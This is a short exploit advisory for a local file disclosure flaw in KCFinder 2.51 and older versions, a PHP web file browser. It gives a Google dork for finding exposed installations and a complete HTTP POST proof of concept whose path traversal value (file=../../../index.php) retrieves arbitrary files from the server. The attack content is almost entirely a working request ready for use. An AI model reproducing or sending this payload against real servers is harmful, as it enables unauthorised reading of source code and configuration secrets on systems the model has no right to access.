KCFinder 2.51 Local File Disclosure

`---------------------------------------------------  
# Exploit Title: KCFinder Local File Disclosure  
# Author: DaOne  
# Vendor Homepage: http://kcfinder.sunhater.com/  
# Category: webapps/php  
# Version: 2.51 + old versions  
# Google dork: inurl:kcfinder/browse.php  
---------------------------------------------------  
  
[#] Tested on their own demo...  
  
-PoC-  
POST http://server/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1  
Host: server  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 51  
  
dir=images/Photos+from+Bulgaria&file=../../../index.php  
  
`